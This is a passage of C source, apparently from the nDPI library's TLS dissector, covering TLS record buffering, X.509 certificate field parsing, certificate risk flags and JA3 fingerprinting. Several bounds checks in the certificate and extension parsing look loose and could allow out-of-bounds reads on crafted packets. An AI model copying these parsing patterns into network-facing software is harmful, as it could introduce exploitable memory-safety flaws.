(flow->l4.tcp.mail_imap_starttls) ) protocol = NDPI_PROTOCOL_MAIL_IMAPS; else if((sport == 995) || (dport == 995)) protocol = NDPI_PROTOCOL_MAIL_POPS; } break; } } return(protocol); } /* **************************************** */ void ndpi_search_tls_tcp_memory(struct ndpi_detection_module_struct *ndpi_struct, struct ndpi_flow_struct *flow) { struct ndpi_packet_struct *packet = &flow->packet; /* TCP */ #ifdef DEBUG_TLS_MEMORY printf("[TLS Mem] Handling TCP/TLS flow [payload_len: %u][buffer_len: %u][direction: %u]\n", packet->payload_packet_len, flow->l4.tcp.tls.message.buffer_len, packet->packet_direction); #endif if(flow->l4.tcp.tls.message.buffer == NULL) { /* Allocate buffer */ flow->l4.tcp.tls.message.buffer_len = 2048, flow->l4.tcp.tls.message.buffer_used = 0; flow->l4.tcp.tls.message.buffer = (u_int8_t*)ndpi_malloc(flow->l4.tcp.tls.message.buffer_len); if(flow->l4.tcp.tls.message.buffer == NULL) return; #ifdef DEBUG_TLS_MEMORY printf("[TLS Mem] Allocating %u buffer\n", flow->l4.tcp.tls.message.buffer_len); #endif } u_int avail_bytes = flow->l4.tcp.tls.message.buffer_len - flow->l4.tcp.tls.message.buffer_used; if(avail_bytes < packet->payload_packet_len) { u_int new_len = flow->l4.tcp.tls.message.buffer_len + packet->payload_packet_len; void *newbuf = ndpi_realloc(flow->l4.tcp.tls.message.buffer, flow->l4.tcp.tls.message.buffer_len, new_len); if(!newbuf) return; flow->l4.tcp.tls.message.buffer = (u_int8_t*)newbuf, flow->l4.tcp.tls.message.buffer_len = new_len; avail_bytes = flow->l4.tcp.tls.message.buffer_len - flow->l4.tcp.tls.message.buffer_used; #ifdef DEBUG_TLS_MEMORY printf("[TLS Mem] Enlarging %u -> %u buffer\n", flow->l4.tcp.tls.message.buffer_len, new_len); #endif } if(avail_bytes >= packet->payload_packet_len) { memcpy(&flow->l4.tcp.tls.message.buffer[flow->l4.tcp.tls.message.buffer_used], packet->payload, packet->payload_packet_len); flow->l4.tcp.tls.message.buffer_used += packet->payload_packet_len; #ifdef DEBUG_TLS_MEMORY printf("[TLS Mem] Copied data to buffer [%u/%u bytes]\n", flow->l4.tcp.tls.message.buffer_used, flow->l4.tcp.tls.message.buffer_len); #endif } } /* **************************************** */ /* Can't call libc functions from kernel space, define some stub instead */ #define ndpi_isalpha(ch) (((ch) >= 'a' && (ch) <= 'z') || ((ch) >= 'A' && (ch) <= 'Z')) #define ndpi_isdigit(ch) ((ch) >= '0' && (ch) <= '9') #define ndpi_isspace(ch) (((ch) >= '\t' && (ch) <= '\r') || ((ch) == ' ')) #define ndpi_isprint(ch) ((ch) >= 0x20 && (ch) <= 0x7e) #define ndpi_ispunct(ch) (((ch) >= '!' && (ch) <= '/') || \ ((ch) >= ':' && (ch) <= '@') || \ ((ch) >= '[' && (ch) <= '`') || \ ((ch) >= '{' && (ch) <= '~')) /* **************************************** */ static void cleanupServerName(char *buffer, int buffer_len) { u_int i; /* Now all lowecase */ for(i=0; i<buffer_len; i++) buffer[i] = tolower(buffer[i]); } /* **************************************** */ /* Return code -1: error (buffer too short) 0: OK but buffer is not human readeable (so something went wrong) 1: OK */ static int extractRDNSequence(struct ndpi_packet_struct *packet, u_int offset, char *buffer, u_int buffer_len, char *rdnSeqBuf, u_int *rdnSeqBuf_offset, u_int rdnSeqBuf_len, const char *label) { u_int8_t str_len = packet->payload[offset+4], is_printable = 1; char *str; u_int len, j; // packet is truncated... further inspection is not needed if((offset+4+str_len) >= packet->payload_packet_len) return(-1); str = (char*)&packet->payload[offset+5]; len = (u_int)ndpi_min(str_len, buffer_len-1); strncpy(buffer, str, len); buffer[len] = '\0'; // check string is printable for(j = 0; j < len; j++) { if(!ndpi_isprint(buffer[j])) { is_printable = 0; break; } } if(is_printable) { int rc = snprintf(&rdnSeqBuf[*rdnSeqBuf_offset], rdnSeqBuf_len-(*rdnSeqBuf_offset), "%s%s=%s", (*rdnSeqBuf_offset > 0) ? ", " : "", label, buffer); if(rc > 0) (*rdnSeqBuf_offset) += rc; } return(is_printable); } /* **************************************** */ /* See https://blog.catchpoint.com/2017/05/12/dissecting-tls-using-wireshark/ */ static void processCertificateElements(struct ndpi_detection_module_struct *ndpi_struct, struct ndpi_flow_struct *flow, u_int16_t p_offset, u_int16_t certificate_len) { struct ndpi_packet_struct *packet = &flow->packet; u_int num_found = 0, i; char buffer[64] = { '\0' }, rdnSeqBuf[1024] = { '\0' }; u_int rdn_len = 0; #ifdef DEBUG_TLS printf("[TLS] %s() [offset: %u][certificate_len: %u]\n", __FUNCTION__, p_offset, certificate_len); #endif /* Check after handshake protocol header (5 bytes) and message header (4 bytes) */ for(i = p_offset; i < certificate_len; i++) { /* See https://www.ibm.com/support/knowledgecenter/SSFKSJ_7.5.0/com.ibm.mq.sec.doc/q009860_.htm for X.509 certificate labels */ if((packet->payload[i] == 0x55) && (packet->payload[i+1] == 0x04) && (packet->payload[i+2] == 0x03)) { /* Common Name */ int rc = extractRDNSequence(packet, i, buffer, sizeof(buffer), rdnSeqBuf, &rdn_len, sizeof(rdnSeqBuf), "CN"); if(rc == -1) break; #ifdef DEBUG_TLS printf("[TLS] %s() [%s][%s: %s]\n", __FUNCTION__, (num_found == 0) ? "Subject" : "Issuer", "Common Name", buffer); #endif } else if((packet->payload[i] == 0x55) && (packet->payload[i+1] == 0x04) && (packet->payload[i+2] == 0x06)) { /* Country */ int rc = extractRDNSequence(packet, i, buffer, sizeof(buffer), rdnSeqBuf, &rdn_len, sizeof(rdnSeqBuf), "C"); if(rc == -1) break; #ifdef DEBUG_TLS printf("[TLS] %s() [%s][%s: %s]\n", __FUNCTION__, (num_found == 0) ? "Subject" : "Issuer", "Country", buffer); #endif } else if((packet->payload[i] == 0x55) && (packet->payload[i+1] == 0x04) && (packet->payload[i+2] == 0x07)) { /* Locality */ int rc = extractRDNSequence(packet, i, buffer, sizeof(buffer), rdnSeqBuf, &rdn_len, sizeof(rdnSeqBuf), "L"); if(rc == -1) break; #ifdef DEBUG_TLS printf("[TLS] %s() [%s][%s: %s]\n", __FUNCTION__, (num_found == 0) ? "Subject" : "Issuer", "Locality", buffer); #endif } else if((packet->payload[i] == 0x55) && (packet->payload[i+1] == 0x04) && (packet->payload[i+2] == 0x08)) { /* State or Province */ int rc = extractRDNSequence(packet, i, buffer, sizeof(buffer), rdnSeqBuf, &rdn_len, sizeof(rdnSeqBuf), "ST"); if(rc == -1) break; #ifdef DEBUG_TLS printf("[TLS] %s() [%s][%s: %s]\n", __FUNCTION__, (num_found == 0) ? "Subject" : "Issuer", "State or Province", buffer); #endif } else if((packet->payload[i] == 0x55) && (packet->payload[i+1] == 0x04) && (packet->payload[i+2] == 0x0a)) { /* Organization Name */ int rc = extractRDNSequence(packet, i, buffer, sizeof(buffer), rdnSeqBuf, &rdn_len, sizeof(rdnSeqBuf), "O"); if(rc == -1) break; #ifdef DEBUG_TLS printf("[TLS] %s() [%s][%s: %s]\n", __FUNCTION__, (num_found == 0) ? "Subject" : "Issuer", "Organization Name", buffer); #endif } else if((packet->payload[i] == 0x55) && (packet->payload[i+1] == 0x04) && (packet->payload[i+2] == 0x0b)) { /* Organization Unit */ int rc = extractRDNSequence(packet, i, buffer, sizeof(buffer), rdnSeqBuf, &rdn_len, sizeof(rdnSeqBuf), "OU"); if(rc == -1) break; #ifdef DEBUG_TLS printf("[TLS] %s() [%s][%s: %s]\n", __FUNCTION__, (num_found == 0) ? "Subject" : "Issuer", "Organization Unit", buffer); #endif } else if((packet->payload[i] == 0x30) && (packet->payload[i+1] == 0x1e) && (packet->payload[i+2] == 0x17)) { /* Certificate Validity */ u_int8_t len = packet->payload[i+3]; u_int offset = i+4; if(num_found == 0) { num_found++; #ifdef DEBUG_TLS printf("[TLS] %s() IssuerDN [%s]\n", __FUNCTION__, rdnSeqBuf); #endif if(rdn_len) flow->protos.stun_ssl.ssl.issuerDN = ndpi_strdup(rdnSeqBuf); rdn_len = 0; /* Reset buffer */ } if((offset+len) < packet->payload_packet_len) { char utcDate[32]; #ifdef DEBUG_TLS u_int j; printf("[CERTIFICATE] notBefore [len: %u][", len); for(j=0; j<len; j++) printf("%c", packet->payload[i+4+j]); printf("]\n"); #endif if(len < (sizeof(utcDate)-1)) { struct tm utc; utc.tm_isdst = -1; /* Not set by strptime */ strncpy(utcDate, (const char*)&packet->payload[i+4], len); utcDate[len] = '\0'; /* 141021000000Z */ if(strptime(utcDate, "%y%m%d%H%M%SZ", &utc) != NULL) { flow->protos.stun_ssl.ssl.notBefore = timegm(&utc); #ifdef DEBUG_TLS printf("[CERTIFICATE] notBefore %u [%s]\n", flow->protos.stun_ssl.ssl.notBefore, utcDate); #endif } } offset += len; if((offset+1) < packet->payload_packet_len) { len = packet->payload[offset+1]; offset += 2; if((offset+len) < packet->payload_packet_len) { u_int32_t time_sec = flow->packet.current_time_ms / 1000; #ifdef DEBUG_TLS u_int j; printf("[CERTIFICATE] notAfter [len: %u][", len); for(j=0; j<len; j++) printf("%c", packet->payload[offset+j]); printf("]\n"); #endif if(len < (sizeof(utcDate)-1)) { struct tm utc; utc.tm_isdst = -1; /* Not set by strptime */ strncpy(utcDate, (const char*)&packet->payload[offset], len); utcDate[len] = '\0'; /* 141021000000Z */ if(strptime(utcDate, "%y%m%d%H%M%SZ", &utc) != NULL) { flow->protos.stun_ssl.ssl.notAfter = timegm(&utc); #ifdef DEBUG_TLS printf("[CERTIFICATE] notAfter %u [%s]\n", flow->protos.stun_ssl.ssl.notAfter, utcDate); #endif } } if((time_sec < flow->protos.stun_ssl.ssl.notBefore) || (time_sec > flow->protos.stun_ssl.ssl.notAfter)) NDPI_SET_BIT(flow->risk, NDPI_TLS_CERTIFICATE_EXPIRED); /* Certificate expired */ } } } } else if((packet->payload[i] == 0x55) && (packet->payload[i+1] == 0x1d) && (packet->payload[i+2] == 0x11)) { /* Organization OID: 2.5.29.17 (subjectAltName) */ u_int8_t matched_name = 0; #ifdef DEBUG_TLS printf("******* [TLS] Found subjectAltName\n"); #endif i += 3 /* skip the initial patten 55 1D 11 */; i++; /* skip the first type, 0x04 == BIT STRING, and jump to it's length */ if(i < packet->payload_packet_len) { i += (packet->payload[i] & 0x80) ? (packet->payload[i] & 0x7F) : 0; /* skip BIT STRING length */ if(i < packet->payload_packet_len) { i += 2; /* skip the second type, 0x30 == SEQUENCE, and jump to it's length */ if(i < packet->payload_packet_len) { i += (packet->payload[i] & 0x80) ? (packet->payload[i] & 0x7F) : 0; /* skip SEQUENCE length */ i++; while(i < packet->payload_packet_len) { if(packet->payload[i] == 0x82) { if((i < (packet->payload_packet_len - 1)) && ((i + packet->payload[i + 1] + 2) < packet->payload_packet_len)) { u_int8_t len = packet->payload[i + 1]; char dNSName[256]; i += 2; /* The check "len > sizeof(dNSName) - 1" will be always false. If we add it, the compiler is smart enough to detect it and throws a warning */ if(len == 0 /* Looks something went wrong */) break; strncpy(dNSName, (const char*)&packet->payload[i], len); dNSName[len] = '\0'; cleanupServerName(dNSName, len); #if DEBUG_TLS printf("[TLS] dNSName %s [%s]\n", dNSName, flow->protos.stun_ssl.ssl.client_requested_server_name); #endif if(matched_name == 0) { if((dNSName[0] == '*') && strstr(flow->protos.stun_ssl.ssl.client_requested_server_name, &dNSName[1])) matched_name = 1; else if(strcmp(flow->protos.stun_ssl.ssl.client_requested_server_name, dNSName) == 0) matched_name = 1; } if(flow->protos.stun_ssl.ssl.server_names == NULL) flow->protos.stun_ssl.ssl.server_names = ndpi_strdup(dNSName), flow->protos.stun_ssl.ssl.server_names_len = strlen(dNSName); else { u_int16_t dNSName_len = strlen(dNSName); u_int16_t newstr_len = flow->protos.stun_ssl.ssl.server_names_len + dNSName_len + 1; char *newstr = (char*)ndpi_realloc(flow->protos.stun_ssl.ssl.server_names, flow->protos.stun_ssl.ssl.server_names_len+1, newstr_len+1); if(newstr) { flow->protos.stun_ssl.ssl.server_names = newstr; flow->protos.stun_ssl.ssl.server_names[flow->protos.stun_ssl.ssl.server_names_len] = ','; strncpy(&flow->protos.stun_ssl.ssl.server_names[flow->protos.stun_ssl.ssl.server_names_len+1], dNSName, dNSName_len+1); flow->protos.stun_ssl.ssl.server_names[newstr_len] = '\0'; flow->protos.stun_ssl.ssl.server_names_len = newstr_len; } } if(!flow->l4.tcp.tls.subprotocol_detected) if(ndpi_match_hostname_protocol(ndpi_struct, flow, NDPI_PROTOCOL_TLS, dNSName, len)) flow->l4.tcp.tls.subprotocol_detected = 1; i += len; } else { #if DEBUG_TLS printf("[TLS] Leftover %u bytes", packet->payload_packet_len - i); #endif break; } } else { break; } } /* while */ if(!matched_name) NDPI_SET_BIT(flow->risk, NDPI_TLS_CERTIFICATE_MISMATCH); /* Certificate mismatch */ } } } } } if(rdn_len) flow->protos.stun_ssl.ssl.subjectDN = ndpi_strdup(rdnSeqBuf); if(flow->protos.stun_ssl.ssl.subjectDN && flow->protos.stun_ssl.ssl.issuerDN && (!strcmp(flow->protos.stun_ssl.ssl.subjectDN, flow->protos.stun_ssl.ssl.issuerDN))) NDPI_SET_BIT(flow->risk, NDPI_TLS_SELFSIGNED_CERTIFICATE); #if DEBUG_TLS printf("[TLS] %s() SubjectDN [%s]\n", __FUNCTION__, rdnSeqBuf); #endif } /* **************************************** */ /* See https://blog.catchpoint.com/2017/05/12/dissecting-tls-using-wireshark/ */ int processCertificate(struct ndpi_detection_module_struct *ndpi_struct, struct ndpi_flow_struct *flow) { struct ndpi_packet_struct *packet = &flow->packet; u_int32_t certificates_length, length = (packet->payload[1] << 16) + (packet->payload[2] << 8) + packet->payload[3]; u_int16_t certificates_offset = 7; u_int8_t num_certificates_found = 0; #ifdef DEBUG_TLS printf("[TLS] %s() [payload_packet_len=%u][direction: %u][%02X %02X %02X %02X %02X %02X...]\n", __FUNCTION__, packet->payload_packet_len, packet->packet_direction, packet->payload[0], packet->payload[1], packet->payload[2], packet->payload[3], packet->payload[4], packet->payload[5]); #endif if((packet->payload_packet_len != (length + 4)) || (packet->payload[1] != 0x0)) return(-1); /* Invalid length */ certificates_length = (packet->payload[4] << 16) + (packet->payload[5] << 8) + packet->payload[6]; if((packet->payload[4] != 0x0) || ((certificates_length+3) != length)) return(-2); /* Invalid length */ if(!flow->l4.tcp.tls.srv_cert_fingerprint_ctx) { if((flow->l4.tcp.tls.srv_cert_fingerprint_ctx = (void*)ndpi_malloc(sizeof(SHA1_CTX))) == NULL) return(-3); /* Not enough memory */ } /* Now let's process each individual certificates */ while(certificates_offset < certificates_length) { u_int32_t certificate_len = (packet->payload[certificates_offset] << 16) + (packet->payload[certificates_offset+1] << 8) + packet->payload[certificates_offset+2]; /* Invalid lenght */ if((certificate_len == 0) || (packet->payload[certificates_offset] != 0x0) || ((certificates_offset+certificate_len) > (4+certificates_length))) { #ifdef DEBUG_TLS printf("[TLS] Invalid length [certificate_len: %u][certificates_offset: %u][%u vs %u]\n", certificate_len, certificates_offset, (certificates_offset+certificate_len), certificates_length); #endif break; } certificates_offset += 3; #ifdef DEBUG_TLS printf("[TLS] Processing %u bytes certificate [%02X %02X %02X]\n", certificate_len, packet->payload[certificates_offset], packet->payload[certificates_offset+1], packet->payload[certificates_offset+2]); #endif if(num_certificates_found++ == 0) /* Dissect only the first certificate that is the one we care */ { /* For SHA-1 we take into account only the first certificate and not all of them */ SHA1Init(flow->l4.tcp.tls.srv_cert_fingerprint_ctx); #ifdef DEBUG_CERTIFICATE_HASH { int i; for(i=0;i<certificate_len;i++) printf("%02X ", packet->payload[certificates_offset+i]); printf("\n"); } #endif SHA1Update(flow->l4.tcp.tls.srv_cert_fingerprint_ctx, &packet->payload[certificates_offset], certificate_len); SHA1Final(flow->l4.tcp.tls.sha1_certificate_fingerprint, flow->l4.tcp.tls.srv_cert_fingerprint_ctx); flow->l4.tcp.tls.fingerprint_set = 1; #ifdef DEBUG_TLS { int i; printf("[TLS] SHA-1: "); for(i=0;i<20;i++) printf("%s%02X", (i > 0) ? ":" : "", flow->l4.tcp.tls.sha1_certificate_fingerprint[i]); printf("\n"); } #endif processCertificateElements(ndpi_struct, flow, certificates_offset, certificate_len); } certificates_offset += certificate_len; } flow->extra_packets_func = NULL; /* We're good now */ return(1); } /* **************************************** */ static int processTLSBlock(struct ndpi_detection_module_struct *ndpi_struct, struct ndpi_flow_struct *flow) { struct ndpi_packet_struct *packet = &flow->packet; switch(packet->payload[0] /* block type */) { case 0x01: /* Client Hello */ case 0x02: /* Server Hello */ processClientServerHello(ndpi_struct, flow); flow->l4.tcp.tls.hello_processed = 1; ndpi_int_tls_add_connection(ndpi_struct, flow, NDPI_PROTOCOL_TLS); break; case 0x0b: /* Certificate */ /* Important: populate the tls union fields only after * ndpi_int_tls_add_connection has been called */ if(flow->l4.tcp.tls.hello_processed) { processCertificate(ndpi_struct, flow); flow->l4.tcp.tls.certificate_processed = 1; } break; default: return(-1); } return(0); } /* **************************************** */ static int ndpi_search_tls_tcp(struct ndpi_detection_module_struct *ndpi_struct, struct ndpi_flow_struct *flow) { struct ndpi_packet_struct *packet = &flow->packet; u_int8_t something_went_wrong = 0; #ifdef DEBUG_TLS_MEMORY printf("[TLS Mem] ndpi_search_tls_tcp() [payload_packet_len: %u]\n", packet->payload_packet_len); #endif if(packet->payload_packet_len == 0) return(1); /* Keep working */ ndpi_search_tls_tcp_memory(ndpi_struct, flow); while(!something_went_wrong) { u_int16_t len, p_len; const u_int8_t *p; if(flow->l4.tcp.tls.message.buffer_used < 5) return(1); /* Keep working */ len = (flow->l4.tcp.tls.message.buffer[3] << 8) + flow->l4.tcp.tls.message.buffer[4] + 5; if(len > flow->l4.tcp.tls.message.buffer_used) { #ifdef DEBUG_TLS_MEMORY printf("[TLS Mem] Not enough TLS data [%u < %u][%02X %02X %02X %02X %02X]\n", len, flow->l4.tcp.tls.message.buffer_used, flow->l4.tcp.tls.message.buffer[0], flow->l4.tcp.tls.message.buffer[1], flow->l4.tcp.tls.message.buffer[2], flow->l4.tcp.tls.message.buffer[3], flow->l4.tcp.tls.message.buffer[4]); #endif break; } if(len == 0) { something_went_wrong = 1; break; } #ifdef DEBUG_TLS_MEMORY printf("[TLS Mem] Processing %u bytes message\n", len); #endif /* Overwriting packet payload */ p = packet->payload, p_len = packet->payload_packet_len; /* Backup */ /* Split the element in blocks */ u_int16_t processed = 5; while((processed+4) < len) { const u_int8_t *block = (const u_int8_t *)&flow->l4.tcp.tls.message.buffer[processed]; u_int32_t block_len = (block[1] << 16) + (block[2] << 8) + block[3]; if((block_len == 0) || (block_len > len) || ((block[1] != 0x0))) { something_went_wrong = 1; break; } packet->payload = block, packet->payload_packet_len = ndpi_min(block_len+4, flow->l4.tcp.tls.message.buffer_used); if((processed+packet->payload_packet_len) > len) { something_went_wrong = 1; break; } #ifdef DEBUG_TLS_MEMORY printf("*** [TLS Mem] Processing %u bytes block [%02X %02X %02X %02X %02X]\n", packet->payload_packet_len, packet->payload[0], packet->payload[1], packet->payload[2], packet->payload[3], packet->payload[4]); #endif processTLSBlock(ndpi_struct, flow); processed += packet->payload_packet_len; } packet->payload = p, packet->payload_packet_len = p_len; /* Restore */ flow->l4.tcp.tls.message.buffer_used -= len; if(flow->l4.tcp.tls.message.buffer_used > 0) memmove(flow->l4.tcp.tls.message.buffer, &flow->l4.tcp.tls.message.buffer[len], flow->l4.tcp.tls.message.buffer_used); else break; #ifdef DEBUG_TLS_MEMORY printf("[TLS Mem] Left memory buffer %u bytes\n", flow->l4.tcp.tls.message.buffer_used); #endif } if(something_went_wrong) { flow->check_extra_packets = 0, flow->extra_packets_func = NULL; return(0); /* That's all */ } else return(1); } /* **************************************** */ static int ndpi_search_tls_udp(struct ndpi_detection_module_struct *ndpi_struct, struct ndpi_flow_struct *flow) { struct ndpi_packet_struct *packet = &flow->packet; // u_int8_t handshake_type; u_int32_t handshake_len; u_int16_t p_len; const u_int8_t *p; #ifdef DEBUG_TLS printf("[TLS] %s()\n", __FUNCTION__); #endif /* Consider only specific SSL packets (handshake) */ if((packet->payload_packet_len < 17) || (packet->payload[0] != 0x16) || (packet->payload[1] != 0xfe) /* We ignore old DTLS versions */ || ((packet->payload[2] != 0xff) && (packet->payload[2] != 0xfd)) || ((ntohs(*((u_int16_t*)&packet->payload[11]))+13) != packet->payload_packet_len) ) { no_dtls: #ifdef DEBUG_TLS printf("[TLS] No DTLS found\n"); #endif NDPI_EXCLUDE_PROTO(ndpi_struct, flow); return(0); /* Giveup */ } // handshake_type = packet->payload[13]; handshake_len = (packet->payload[14] << 16) + (packet->payload[15] << 8) + packet->payload[16]; if((handshake_len+25) != packet->payload_packet_len) goto no_dtls; /* Overwriting packet payload */ p = packet->payload, p_len = packet->payload_packet_len; /* Backup */ packet->payload = &packet->payload[13], packet->payload_packet_len -= 13; processTLSBlock(ndpi_struct, flow); packet->payload = p, packet->payload_packet_len = p_len; /* Restore */ ndpi_int_tls_add_connection(ndpi_struct, flow, NDPI_PROTOCOL_TLS); return(1); /* Keep working */ } /* **************************************** */ static void tlsInitExtraPacketProcessing(struct ndpi_flow_struct *flow) { flow->check_extra_packets = 1; /* At most 12 packets should almost always be enough to find the server certificate if it's there */ flow->max_extra_packets_to_check = 12; flow->extra_packets_func = (flow->packet.udp != NULL) ? ndpi_search_tls_udp : ndpi_search_tls_tcp; } /* **************************************** */ static void ndpi_int_tls_add_connection(struct ndpi_detection_module_struct *ndpi_struct, struct ndpi_flow_struct *flow, u_int32_t protocol) { #if DEBUG_TLS printf("[TLS] %s()\n", __FUNCTION__); #endif if((flow->detected_protocol_stack[0] == protocol) || (flow->detected_protocol_stack[1] == protocol)) { if(!flow->check_extra_packets) tlsInitExtraPacketProcessing(flow); return; } if(protocol != NDPI_PROTOCOL_TLS) ; else protocol = ndpi_tls_refine_master_protocol(ndpi_struct, flow, protocol); ndpi_set_detected_protocol(ndpi_struct, flow, protocol, NDPI_PROTOCOL_TLS); tlsInitExtraPacketProcessing(flow); } /* **************************************** */ /* https://engineering.salesforce.com/tls-fingerprinting-with-ja3-and-ja3s-247362855967 */ #define JA3_STR_LEN 1024 #define MAX_NUM_JA3 128 struct ja3_info { u_int16_t tls_handshake_version; u_int16_t num_cipher, cipher[MAX_NUM_JA3]; u_int16_t num_tls_extension, tls_extension[MAX_NUM_JA3]; u_int16_t num_elliptic_curve, elliptic_curve[MAX_NUM_JA3]; u_int8_t num_elliptic_curve_point_format, elliptic_curve_point_format[MAX_NUM_JA3]; }; /* **************************************** */ int processClientServerHello(struct ndpi_detection_module_struct *ndpi_struct, struct ndpi_flow_struct *flow) { struct ndpi_packet_struct *packet = &flow->packet; struct ja3_info ja3; u_int8_t invalid_ja3 = 0; u_int16_t tls_version, ja3_str_len; char ja3_str[JA3_STR_LEN]; ndpi_MD5_CTX ctx; u_char md5_hash[16]; int i; u_int16_t total_len; u_int8_t handshake_type; char buffer[64] = { '\0' }; #ifdef DEBUG_TLS printf("SSL %s() called\n", __FUNCTION__); #endif memset(&ja3, 0, sizeof(ja3)); handshake_type = packet->payload[0]; total_len = (packet->payload[1] << 16) + (packet->payload[2] << 8) + packet->payload[3]; if((total_len > packet->payload_packet_len) || (packet->payload[1] != 0x0)) return(0); /* Not found */ total_len = packet->payload_packet_len; /* At least "magic" 3 bytes, null for string end, otherwise no need to waste cpu cycles */ if(total_len > 4) { u_int16_t base_offset = packet->tcp ? 38 : 46; u_int16_t version_offset = packet->tcp ? 4 : 12; u_int16_t offset = packet->tcp ? 38 : 46, extension_len, j; u_int8_t session_id_len = 0; if (base_offset < total_len) session_id_len = packet->payload[base_offset]; #ifdef DEBUG_TLS printf("SSL [len: %u][handshake_type: %02X]\n", packet->payload_packet_len, handshake_type); #endif tls_version = ntohs(*((u_int16_t*)&packet->payload[version_offset])); flow->protos.stun_ssl.ssl.ssl_version = ja3.tls_handshake_version = tls_version; if(flow->protos.stun_ssl.ssl.ssl_version < 0x0302) /* TLSv1.1 */ NDPI_SET_BIT(flow->risk, NDPI_TLS_OBSOLETE_VERSION); if(handshake_type == 0x02 /* Server Hello */) { int i, rc; #ifdef DEBUG_TLS printf("SSL Server Hello [version: 0x%04X]\n", tls_version); #endif /* The server hello decides about the SSL version of this flow https://networkengineering.stackexchange.com/questions/55752/why-does-wireshark-show-version-tls-1-2-here-instead-of-tls-1-3 */ if(packet->udp) offset += 1; else { if(tls_version < 0x7F15 /* TLS 1.3 lacks of session id */) offset += session_id_len+1; } if((offset+3) > packet->payload_packet_len) return(0); /* Not found */ ja3.num_cipher = 1, ja3.cipher[0] = ntohs(*((u_int16_t*)&packet->payload[offset])); if((flow->protos.stun_ssl.ssl.server_unsafe_cipher = ndpi_is_safe_ssl_cipher(ja3.cipher[0])) == 1) NDPI_SET_BIT(flow->risk, NDPI_TLS_WEAK_CIPHER); flow->protos.stun_ssl.ssl.server_cipher = ja3.cipher[0]; #ifdef DEBUG_TLS printf("TLS [server][session_id_len: %u][cipher: %04X]\n", session_id_len, ja3.cipher[0]); #endif offset += 2 + 1; if((offset + 1) < packet->payload_packet_len) /* +1 because we are goint to read 2 bytes */ extension_len = ntohs(*((u_int16_t*)&packet->payload[offset])); else extension_len = 0; #ifdef DEBUG_TLS printf("TLS [server][extension_len: %u]\n", extension_len); #endif offset += 2; for(i=0; i<extension_len; ) { u_int16_t extension_id, extension_len; if(offset >= (packet->payload_packet_len+4)) break; extension_id = ntohs(*((u_int16_t*)&packet->payload[offset])); extension_len = ntohs(*((u_int16_t*)&packet->payload[offset+2])); if(ja3.num_tls_extension < MAX_NUM_JA3) ja3.tls_extension[ja3.num_tls_extension++] = extension_id; #ifdef DEBUG_TLS printf("TLS [server][extension_id: %u/0x%04X][len: %u]\n", extension_id, extension_id, extension_len); #endif if(extension_id == 43 /* supported versions */) { if(extension_len >= 2) { u_int16_t tls_version = ntohs(*((u_int16_t*)&packet->payload[offset+4])); #ifdef DEBUG_TLS printf("TLS [server] [TLS version: 0x%04X]\n", tls_version); #endif flow->protos.stun_ssl.ssl.ssl_version = tls_version; } } i += 4 + extension_len, offset += 4 + extension_len; } ja3_str_len = snprintf(ja3_str, sizeof(ja3_str), "%u,", ja3.tls_handshake_version); for(i=0; i<ja3.num_cipher; i++) { rc = snprintf(&ja3_str[ja3_str_len], sizeof(ja3_str)-ja3_str_len, "%s%u", (i > 0) ? "-" : "", ja3.cipher[i]); if(rc <= 0) break; else ja3_str_len += rc; } rc = snprintf(&ja3_str[ja3_str_len], sizeof(ja3_str)-ja3_str_len, ","); if(rc > 0 && ja3_str_len + rc < JA3_STR_LEN) ja3_str_len += rc; /* ********** */ for(i=0; i<ja3.num_tls_extension; i++) { int rc = snprintf(&ja3_str[ja3_str_len], sizeof(ja3_str)-ja3_str_len, "%s%u", (i > 0) ? "-" : "", ja3.tls_extension[i]); if(rc <= 0) break; else ja3_str_len += rc; } #ifdef DEBUG_TLS printf("TLS [server] %s\n", ja3_str); #endif #ifdef DEBUG_TLS printf("[JA3] Server: %s \n", ja3_str); #endif ndpi_MD5Init(&ctx); ndpi_MD5Update(&ctx, (const unsigned char *)ja3_str, strlen(ja3_str)); ndpi_MD5Final(md5_hash, &ctx); for(i=0, j=0; i<16; i++) { int rc = snprintf(&flow->protos.stun_ssl.ssl.ja3_server[j], sizeof(flow->protos.stun_ssl.ssl.ja3_server)-j, "%02x", md5_hash[i]); if(rc <= 0) break; else j += rc; } #ifdef DEBUG_TLS printf("[JA3] Server: %s \n", flow->protos.stun_ssl.ssl.ja3_server); #endif } else if(handshake_type == 0x01 /* Client Hello */) { u_int16_t cipher_len, cipher_offset; if((session_id_len+base_offset+3) > packet->payload_packet_len) return(0); /* Not found */ if(packet->tcp) { cipher_len = packet->payload[session_id_len+base_offset+2] + (packet->payload[session_id_len+base_offset+1] << 8); cipher_offset = base_offset + session_id_len + 3; } else { cipher_len = ntohs(*((u_int16_t*)&packet->payload[base_offset+2])); cipher_offset = base_offset+4; } #ifdef DEBUG_TLS printf("Client SSL [client cipher_len: %u][tls_version: 0x%04X]\n", cipher_len, tls_version); #endif if((cipher_offset+cipher_len) <= total_len) { for(i=0; i<cipher_len;) { u_int16_t *id = (u_int16_t*)&packet->payload[cipher_offset+i]; #ifdef DEBUG_TLS printf("Client SSL [cipher suite: %u/0x%04X] [%d/%u]\n", ntohs(*id), ntohs(*id), i, cipher_len); #endif if((*id == 0) || (packet->payload[cipher_offset+i] != packet->payload[cipher_offset+i+1])) { /* Skip GREASE [https://tools.ietf.org/id/draft-ietf-tls-grease-01.html] https://engineering.salesforce.com/tls-fingerprinting-with-ja3-and-ja3s-247362855967 */ if(ja3.num_cipher < MAX_NUM_JA3) ja3.cipher[ja3.num_cipher++] = ntohs(*id); else { invalid_ja3 = 1; #ifdef DEBUG_TLS printf("Client SSL Invalid cipher %u\n", ja3.num_cipher); #endif } } i += 2; } } else { invalid_ja3 = 1; #ifdef DEBUG_TLS printf("Client SSL Invalid len %u vs %u\n", (cipher_offset+cipher_len), total_len); #endif } offset = base_offset + session_id_len + cipher_len + 2; if(offset < total_len) { u_int16_t compression_len; u_int16_t extensions_len; offset += packet->tcp ? 1 : 2; compression_len = packet->payload[offset]; offset++; #ifdef DEBUG_TLS printf("Client SSL [compression_len: %u]\n", compression_len); #endif // offset += compression_len + 3; offset += compression_len; if(offset < total_len) { extensions_len = ntohs(*((u_int16_t*)&packet->payload[offset])); offset += 2; #ifdef DEBUG_TLS printf("Client SSL [extensions_len: %u]\n", extensions_len); #endif if((extensions_len+offset) <= total_len) { /* Move to the first extension Type is u_int to avoid possible overflow on extension_len addition */ u_int extension_offset = 0; u_int32_t j; while(extension_offset < extensions_len) { u_int16_t extension_id, extension_len, extn_off = offset+extension_offset; extension_id = 